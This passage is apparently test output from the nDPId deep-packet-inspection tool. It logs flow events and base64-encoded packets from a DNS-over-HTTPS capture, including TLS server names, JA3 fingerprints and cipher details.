mXSg9dYJ9GwRxcPV5is5NEijit\/K0HuZymRnz0biX0ibyZ3bQdAu+3E+KHkL1KMxQnoIP\/X4lavINi95Z\/1+WkK1enaEAwf7tuLJlq5tLt+JOe3OVPJYXu+hVDAzfIFEvugfqxQ4aetpIOYSy0uy\/8Blk6BuP7s0kZRcDAwBF06XPl0W4alPWKLcZUBV1\/sR9gwxnLLJ0WJlMdAUkQ1CCMVwzdsK8lkkZUPttQ7nY8WKaipYb2yNRvSYmxfuU2S\/nIBiL"} +00826{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":426,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":2,"flow_first_seen":946739390933,"flow_last_seen":946739390967,"flow_tot_l4_data_len":3434,"flow_min_l4_data_len":303,"flow_max_l4_data_len":3131,"flow_avg_l4_data_len":1717,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"217.169.20.23","src_port":34036,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns.aa.net.uk","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00529{"flow_id":26,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":970010,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4ddJAAH4G2DAKAAAB2akUF4T0AbuSPuSllAS3MVAYAfWu5wAAFAMDAAEBFwMDAEWr1XNIOucPlOXvVPAlxCVPjuVei0Kv510pke\/KbmmoYPXHQYgn\/dXPL9SYgvzqDxY7NHWdbkgaLyLveAQw2UhT5DxScM0="} +00537{"flow_id":26,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":970156,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+ddNAAH4G2CkKAAAB2akUF4T0AbuSPuT1lAS3MVAYAfWu7QAAFwMDAFH5fOXuGGQTCSec9DTFnTKi073A3dyDK5aGklXxdlyqkvpUyevkvdQoFRxqD\/oXjlTQmrcRcGuGVlNE943mWtSSfq4hBwQRGa56H8GFDP\/RQpo="} +00652{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":970361,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"REREREREZmZmZmZmCABFAADTddRAAH4G19MKAAAB2akUF4T0AbuSPuVLlAS3MVAYAfWvQgAAFwMDAKbOcashR5\/uMF3amwObsbFEZG4juIUud\/eSvh8GM+2\/skB5mrP+x00KhZsh7TmiL5saD+QkYu20S1OFq3z3EABJ7aHU2OgjGgUR7ODTq6fEo3O2ABLyrcG9Ds272JZCpBMNmRtXCFGpAhXKEUch\/vntLpgNQ1ZkdXe8TE6GtgT\/Sgi71RWZ53nstVrSnXdxp9dvYCNB5SywsI0xQcpCQ875V6im+3qb"} +00528{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739390,"pkt_ts_usec":970471,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3ddVAAH4G2C4KAAAB2akUF4T0AbuSPuX2lAS3MVAYAfWu5gAAFwMDAEo1DfqG1j3YEAiQS\/IxJ7S8MOmd31dgOGehz8CVlNBSYZD5J4\/DBMWGkhtbrSa7oYnscBwc3kF9CbW0pgFJpv8+HnoD0Sm96v756w=="} +01103{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":431,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":2277,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImNdFAADgGXITZqRQXCgAAAQG7hPSUBLcxkj7mRVAYAfJRQAAAFwMDAPqPts9xzK6K1vQpJ0r+Ith31YYasn60VgZnfAdYdN+n+d\/4RdZE4z3bXhuaGWBIsaxg0a70jY7KG7NRwTrOz7mofxf8UstqC2n25XIiu1I1H16ozf+n1n3ofSlJYtTWPJIKJ95QAQDqfbCBLe5LxxREaD6fiPPK+67uNXrK8punpox9u1cQRgnJOU444DEJJqmALzrbvvDGX9618uttlk73XC16CJZFU\/6T79TZuzSkpvO2T7v+LSk9FPMhgc5+CUsyHhwasYA2e6ULJWTunbJTvee7DrJJs27jOsaIkXwD9h8uDWzCzRbRfzlS5zdYNVc19zO07hMcaXfiFwMDAPoGLlxFDdsdy3MSpvQVTOQVRTpozNx5EmZ9J6Mwe0FE6PZejZ1nrGpFt23VjckEdWsTbR1y94GzSqL0m67UlReHYVcv+SLgyki\/f9MbKLMSXB4offAFoIvwySQZGZXjFEPDnJ7xuXQvwkIxV2f\/GxXMNGmHq1S5NMobnf4I0FZkRvVikwwXtMoxsWxQjuHM9fsZoL\/yvvip1dsAwqz8mGaXs5NEZmFrv8bhrwOzV6u77NDcL04U4q2bytjMf+qWDOCWZj17FHGPmQM5vbpIYp5kSvjjQfx2q52WwF52eq+hazEiQgrf7zDMYt\/FD8Iu2YV9ae8Jo0vgXJbP"} +00505{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":2481,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"ZmZmZmZmRERERERECABFAABpNdJAADgGXkDZqRQXCgAAAQG7hPSUBLkvkj7mRVAYAfVRngAAFwMDADzafYgYMFvNYWxGFc\/+lGY7jBmZuxiCW9SpxlJFPkLqXKENzHJc1VeBjhkPEMPVKijp384t3EBuAnF76S8="} +00459{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":2645,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHdddAAH4G2FwKAAAB2akUF4T0AbuSPuZFlAS5cFAYAfWutgAAFwMDABocHZz48Tn7aYdQj+HmQ\/QXcbDagkLOGX3oLQ=="} +00917{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":434,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":6265,"pkt_caplen":412,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":412,"pkt_l4_len":378,"pkt":"ZmZmZmZmRERERERECABFAAGONdNAADgGXRrZqRQXCgAAAQG7hPSUBLlwkj7mRVAYAfUWKQAAFwMDAWGT\/Pw1cP+QDANMhYpPDy3Rvt3h7+ADlSagzX0\/2Y\/rwtb9mv4gGz4\/yK1t3Y73\/9mv\/vwVXF4ROsfNTyu6cFBySGsnv\/e5EormRqViU\/VwL\/DkIhB1fOiiB12dPOAa5pO1tUBPmHQLU\/YPm39WHdMPYkAvtumws34jqLBbUZmLh\/CV3xo4xjIgowvRf3qhgNtnrLjDL\/P\/k075qkA+n5ULQDQnc+3VQy\/nJqaGmusQOy7H7T5uwG3Ypa\/4Uc2M0oEYc+rlYscPS+fX7sZzboGwnYWLpA7XUB60J5RvKagFSGL4rxTx59FIbvJFg3UvUjTTR0xxWr\/OlTXvAvlOGhDdzt8dIaBC\/j+x4B5h+VNUloSsw0sg8vdZ33lLLMzL\/fxMmLDAQHF06Kijt3fBjgSaXmMWi\/m2b6ul6qR0HYsFQ1u1zBhrE0ZeXfXjtNnz5SbvWakN1se4NQwBELDr2s3XpA=="} +00564{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":435,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":6668,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"REREREREZmZmZmZmCABFAACSddhAAH4G2BAKAAAB2akUF4T0AbuSPuZklAS61lAYAfWvAQAAFwMDAGU0Om3KypVM8Y7TUyWS8zY\/gOnEuEyTi1omO9ghEMQhpGt3Da20wVC3moJBG8mJLeWerLPfPU8B4gaJJDMyGovdhD7ZHm7U7havpa\/ZxC1tp9OGxD+mmQ8Ygl2TAQrsEnpwEi35fQ=="} +00567{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":436,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":6752,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWddlAAH4G2AsKAAAB2akUF4T0AbuSPubOlAS61lAYAfWvBQAAFwMDAGkgWZNHHwUbRMjYZgPim+jcVPA8lIvlt8uCJ2eZKbKkof6emBeQB4ZuiNcpdnGozUD8xcUuYn90pq9wM3IlcVmBkjD\/l6WaohLg4aGOCUJtHm3lL5Nl+MBLSzJ21bUZhqw2ulCaIjhcHjM="} +00685{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":437,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46287,"pkt_caplen":249,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":249,"pkt_l4_len":215,"pkt":"ZmZmZmZmRERERERECABFAADrNdVAADgGXbvZqRQXCgAAAQG7hPSUBLrWkj7nPFAYAfVNeAAAFwMDAL6TKnbkFATDhtx3ySWDDQ2If6D3T\/atYxe8jN8eJLMXkaT60hSuSj6Caq8pc3kR55Lc5n7zezg\/M1IjudVoQ834E7mBmLpGlFm9+uVdppFEj25R9ZxcsIt3ktWSIpcsHbSqwQRsaNAehftbwQVvrwC31Q8L0JUTIrtkgAAd4jE3c3TS1omS2qjQ\/7VJt66M+cUwBoULTREmH35UDP3G4lm9V9U\/m7fF\/\/rigsamLr5yjLd4wBFYa9kShAV8+AC6"} +00464{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":438,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46588,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"REREREREZmZmZmZmCABFAABLddpAAH4G2FUKAAAB2akUF4T0AbuSPuc8lAS7mVAYAfWuugAAFwMDAB5L2lkJjpLClO8v9wZzC+dOrVqBd4j92hX82Nk7jW4="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":439,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":946739400294,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"146.255.56.98","src_port":43718,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00813{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":439,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":294231,"pkt_caplen":346,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":346,"pkt_l4_len":312,"pkt":"REREREREZmZmZmZmCABFAAFMOfJAAH4GNZwKAAABkv84YqrGAbtdpqacr2JwdlAYAfaNXAAAFgMBAR8BAAEbAwPHJz7Bz9zA6vh2mAtXguxbTFdhb5D1tFb1Dou8iu1ITyDK94fArz+mQ8rbbzgPn8nq5li5Q+JT9k4ZyOL9YBHZZQAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACsAAAAGwAZAAAWZG9oLmFwcGxpZWRwcml2YWN5Lm5ldAAFAAUBAAAAAAAKAAoACAAdABcAGAAZAAsAAgEAAA0AGgAYCAQEAwgHCAUIBgQBBQEGAQUDBgMCAQID\/wEAAQAAEAAOAAwCaDIIaHR0cC8xLjEAEgAAACsACQgDBAMDAwIDAQAzACYAJAAdACADmPqzqEwwIPykBECgQ7iBmKhoGpqhv77PEzGKWzxqPw=="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":439,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":946739400294,"flow_last_seen":0,"flow_tot_l4_data_len":312,"flow_min_l4_data_len":312,"flow_max_l4_data_len":312,"flow_avg_l4_data_len":312,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"146.255.56.98","src_port":43718,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"doh.appliedprivacy.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +04351{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":440,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":340313,"pkt_caplen":2958,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2958,"pkt_l4_len":2924,"pkt":"ZmZmZmZmRERERERECABFAAuAAABAADgGq1qS\/zhiCgAAAQG7qsavYnB2XaanwFAQBBOXkAAAFgMDAHoCAAB2AwMDsBehTQYQ\/iH2Yhpyf+mLl1C35r3Ho6TovknKnjr8riDK94fArz+mQ8rbbzgPn8nq5li5Q+JT9k4ZyOL9YBHZZRMCAAAuACsAAgMEADMAJAAdACBo4BH+AA5SyDExxRIaGpKShy1vmsbixTg2m2T2NedPDxQDAwABARcDAwAgvk7ezJo1JZP9LjmZFBvdhSYoK5Td7g7\/A2oIAgI6osUXAwMJ2yS0n6M3Ydri+rIgYVXd+jwuTvP8FF1HMS4hAE9YkVd0802YEbU3pHhUuQANn0vXApBPxbj3FV9uCCuIZCOL4zY7+k\/N9QNOxO6wgqwyjpqF\/MSuGzGbkODdKsjr3MXDrOEDT8UY4Cf7sbDSqOIkajzwlllabjLyw\/JVxOtUepEpKMKQWPduyvGLlnSE+4Pi9X1F5dljLFonfMSt9epl2VwSF1nq8Zl4KKstqyQuG\/zmvd2vjAUtpZ7bRJhqcQEAuZwHSvB\/MtIxXfAzVeG47SjsazBlsuRoBS3fTomilsUH4J13\/0ChaLizKxEdSZ2w2K00iVdJ7hQkti8Yk+XaV61AEfwts012l3Az0Ul6QGn+ovAsikUEMTOdEJmAEExk\/NRuYh4YJeat0fT6qqxPxOtp8iJmxclZOIdEdtKfFRlb\/Q3pIWRMmx+BKdsNQm6TtOsUrqgzJEovgnDvaBUadejY9LBbNHqxMK2V6F7gbnGKVjBjB76l32rCkAGXZjYpu99n3pc8VsX6toeCgNv6uuTb2IhBkEMBsiXbrPavcq8F51o9cjY6ri1T23vFWkuEBAAWOdINJTApJO1joFFgFxyMMNnlCpJoVnqu0i\/rinlDFg7S9CtMSJ0Ubb2fcMiTZVA8sg8c2grczf38tyMaZ9tLwrWkyrDaM66WF+r\/Smzgjb3lUh8vJ3yJCEPyKRtiP8bLVA86MJJR6swDhhbPo5TZc3HPN3paBxU5U9DTyACxQnk6EYqYsA8ZokkmQV3rXvd3nlNnXQvP8iTrcL1LydrbGPEmcxzftt97lwfP6IxI3O3sNlij9LY+i3W9W6NVdJf0gVlPHB34DPsUDzGCBqeTZuUD+fgbA8m0vHZeGLaeh2n\/ATJxgu83kBANWSs0j4JxeZwkxA4LQE6k9KdadeiuFQWUUsCMoytEmeRS+e2CKC26bva8V4F4G5ILpiDrVUa9OPpnIugEC\/pCpbfo45ejO0OYsjmcSB9VHs67ODTG8tfG\/HSnEWghmAKv96DqsZyAaTmkT0JkH5FkXlCzBQ8v8o8b6rSE0lRW\/lesYflMu+sWf50UV63CFJyy6fgpaJPxCw8SCnSJ9Wfe5036kFXS9TxM7sPwyghnAoVeaf7Fck3c5pxthPEaz67tzSOMeekQJOQi7xMcEt3jcaR5XiiPfvpfvbXLOiTYOMcz4nBR25XpUeWEHByMxgi+V+13jYe4gb5oIp\/OYL+ldNmokkEz0NkrXv9PYcDVxLHdE8YvZjA+Y3MOkWFCk9BM\/Rn01CyqbL8CmN\/DvCsMgWqz9BmPnWHQOqMnYSTykXgSFe9FyeKoNSng2DkGXmS4Ish3yys0i\/QIlGlT9piLrC2UOh5tHQYhdkxZTzWOLoSNhJgdpKplLIWgmFyDHNvrhDmwq50tATdlnRMhe0ry66PsM3l0lek7HZ1iPpCZ7a660QlaPE9SZFbRD2hjaqHqZrlPWWwgi6eHfY0gu5vY3pzyuUgNc+IY+oeDLEyaB3ysUDN7Sr1IZYyAtSiOnN0WLtHIeg9uqvR4NEBF0XEfeRxZT0n6RrygJ1nWV+kailDfsz4vklZfPYltDFOyTnwOyyzBO2WpBi+QHoJdR5a+ci207f4TAHC5iWzq9Ov\/CBA21s0iwXcKHtUUuFkXfGsSTcHlMRdWRoqqdrwRmUkHc5FaU6RNse5tyVEdBKfOwfXkDw8I22zIDBmTO4YVBH4Dzw0SEVpSPVqE8m2STbZxIzmRtVGFxbw45tbGu6NUyHfb6XRJMV4vKdl8h+lVfwIggGdSBSYb\/J2WkIjXI5Z1\/s5OXr498b\/Ul1cfjj192V+QV7YEDHDJ0wunGAConliOcHcZIZrOpVaNMM7NeTBxiiUgynpVWjltr\/LQuk0Pld3mEIxmwXht0KmUnXyCvTBJgPYroLRuneYRQPZ1JOgkt\/kdsQBmYrZvkRHKWFwNxkLAhypRqmOoE6eO9TYZgchFtH7ouVK4C6vE0wlk\/wNdktEQVjtjEf81TNo\/lytMdDE\/EAGs9weyRqd\/Hmz5\/6yLIgAilI7sqB7dEuE0iiOXk4T95pQbOjvSnwI7M4B7Q3oDNdWJJRZNp2tZGQNCVfj0OFzEKSZbanefGx8qbWewy7Iup5wriwLbBG\/B7ZFkxdmUnEdpL4pTOBRMxGDxRjV5ioqpujq6Ef07dgH3IGRgJHxsp9J2Qlj8S7lCwwOsTDkI+PhLsXzzIudX\/ZiC+lH4Tm6LciXTHf3hDkr34EJfXHJ2WpSeeCsJZBkZx0OJpBR3y1cyrhzb66IxG0uSRnndSXXBNAmD+Gghsj7Kg4E50GUXibzQRhDNRs87q1TvRNjyYI9h\/opUmKnHAkXz4SItfTxaX2LIVbjHXv1XndcnuHwhJgHhiVGswZvXlXVlX8K4fGgnhgpZ7MSQN2lSYmnj2j7A1n8u\/xbD+JqpDU+SOMNWtYlDQ0M+WzoE91BSSQYj6pIr9DxppqLCgUAfJpZxJ8YTmINwfhMZVMPhUF+vys97o5XgriLF7uzxf2I4907edC79eKV1Vf3Ui9qrIThroIUvlpq69fVaplHqZXdbs+zwj7e2bSPVWUVR0G4cA3aU9fbVCQvpl3a\/SuOWAYL5O1\/gu5GJXDImY\/gEO1xe+OVqS2aF0XojyeNtILIeW1nDYyaMtRMD0J7qIxHbffBANlspXb0qgGJLXRsdV8\/\/lQ9fV9vIoHgsaUsdWxpVNTmqaQBhX+l7X3gEUnrZ2jVkY6Oh5aU+eYdso\/pGSL+gHQ1M1e6uj4SYxfEhZHY1voW\/zrjGcvC2BmpxPhTrZRQE7Z8GgjqyG\/K9Af758C5W6bNB\/xr5yeKDI\/G5cyIFeblO2dJmHUb92Zs9qV6hqZGonI7Nft2QsKRvSQjz6cpX\/ZVUA+5e0AnpZpXEPBjJfZQ24FXs9QBvGk2XnWW8Dboig8I5f6Aa0W91KG5sO3Doyp3jU3SQ\/ah58ZIaBgplOwc2\/XF6kzcQLnHv217TTOCL7ScT90UL1M8uz6xGKTqy83KCKRxOqCSmaU4GimFhTvfwqF7ljKegUp6S9OeYOOt+VYDC0UeVysX6yYVwgIBxXA8D51WCmgGdUznHhIQtp1cWWN2T6pBItiud+sR32LmiE5tMUZYbwm2xu\/Nih47FXpRY2xq\/SEOEBCWv+pct34wnV4RwGw\/IvRU9BDEL1I7Sc1UFJRrazHP37UtPsKE1Z1llTnptgsNBNnDluQKifySFsqvXdr8Wwvn6V56upoM0fLxPG\/\/F6OVsniKNnqDtgpVsVi86SZ5O9M+5OvtEmUD8hQl4gxL2QqLYZIWV6vswIZSATUQuw0pUlpiEaj4PymXC95\/5pMEQnYMyOGFn2xcDAwCAmr0Gh4ZNVa+hT2Dwwrpwf9EMB3SMWmSnSLNfZ1YP9lq\/H3H\/YzkchSbogwVw+NXvSKa3Q5dILWczbhkBruescLznbqY0DC+TTlEnvK+mjob5wwR3lQsp8odDMfmh22P3SAFc1ZvCoRb2GkaVN69lxvgMa3mO7aDcfiHSTbC8C9cXAwMARePoOyVbKZG3xXgBtpg5jANBShpYQchD5Po7jBmjBEffrOCijDBbST3aotIn5HBfw8iB7gJCrbmWU17Z2peLW9KOid+9"} +00835{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":440,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":2,"flow_first_seen":946739400294,"flow_last_seen":946739400340,"flow_tot_l4_data_len":3236,"flow_min_l4_data_len":312,"flow_max_l4_data_len":2924,"flow_avg_l4_data_len":1618,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"146.255.56.98","src_port":43718,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"doh.appliedprivacy.net","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00425{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":441,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":340375,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":21,"pkt":"ZmZmZmZmRERERERECABFAAApAAJAADgGtq+S\/zhiCgAAAQG7qsavYnvOXaanwFAYBBNMgAAA9gAAAAAA"} +00528{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":442,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":372740,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"REREREREZmZmZmZmCABFAAB4OfVAAH4GNm0KAAABkv84YqrGAbtdpqfAr2J7z1AYAfWMiAAAFAMDAAEBFwMDAEWvoM+cBnqYmnkRkDPuwLtAUVkYLlQ03USNt7TH6Ov+UQEEyvORaaPH3O3ZNMzL2MgXRjNUDyx4v+rdCpv8GZgAXv9\/o9E="} +00537{"flow_id":27,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":443,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":372794,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+OfZAAH4GNmYKAAABkv84YqrGAbtdpqgQr2J7z1AYAfWMjgAAFwMDAFF\/agLwf2hkurOtclPc7PloPgHX8tIH4ISdSa4EvDGmjxH6c1qM4Rsw8Ui8OUp\/ZpG22ARbOXsOsMotn0yCCQpPKADwUIKVj5BjlvTnVXcua0Q="} +00654{"flow_id":27,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":444,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":372857,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"REREREREZmZmZmZmCABFAADWOfdAAH4GNg0KAAABkv84YqrGAbtdpqhmr2J7z1AYAfWM5gAAFwMDAKkCgB9PakWenp2FfM5\/\/AJ15KkTCJ3LM4o74rswd5jGhQ1nfFiZHOYG8jPVggR5QsQbO+oanzG\/i8AEUij0tpPzzk4Jme1HCJrSzamPfBJ8UsfdRmtEVPVvPtBQVTJr1UhLnlHPx75wCbH6UuwQQ1KCWw3xSd3w5qlFT+R89juMgmqsXHAFqCs9rFzshFxNm7k2qrZFGQaHjY6ZtZEB+w3tFfLEIJ5PWW6k"} +00528{"flow_id":27,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":445,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":372888,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3OfhAAH4GNmsKAAABkv84YqrGAbtdpqkUr2J7z1AYAfWMhwAAFwMDAErpQSDqIJch4nsbcQM0LXBZbmeetkY4nbe6GP+8Vem33iV8l5sPhxCBj+CpQYNtBPEi\/\/7BkqHcKZjTH2IDN17TSnGJH995KU4U+g=="} +01111{"flow_id":27,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":446,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":416578,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"ZmZmZmZmRERERERECABFAAImAABAADgGtLSS\/zhiCgAAAQG7qsavYnvPXaapY1AYBBMqIQAAFwMDAPpEPm\/DvzlOU6MVI+ft2b8jBn\/ITRM2azGmQHeaEuWWTwR6Z+FjIqpCbCG1z1FamhstHpXkXnKZ7Tzfm3fCD2OxsRhBy1vtg2EIjs5X2L0ssAVVn\/Yffm+lvw7wfuF8jtq4ccAH4C+3A8UXXy7Sg9i34VeAHD\/fjrjoUN29LPnkru2gHA10bvjHvBqWmxCZmyfrdZXEJk0FyTEMRElrSfrRWTYBoAYZtAnTd2jhxZzzgWNk3CbmV4GFFaVSuGDmwdlfWVuwOMPSUyIPX+vzge+ulMfctI9OY5ByQT\/iqpOzCbyamLeMclq1hvg\/XKI9R\/0Kne0jW550TBJ2FwMDAPraTapo2v5GSQd1pI4y0TT11UfY5xf9b68igfBG912hcUwLh009yVKoh6pJrLJ6R6eFcGpv280e3k6zx7vlGx\/5U9OLQTteHrlFgjxQSq2I6CF5Id9hUZY8sPJkzt3jxgknZ6Y5wwWRExM8ZVAnFPswnYKtSvLhkj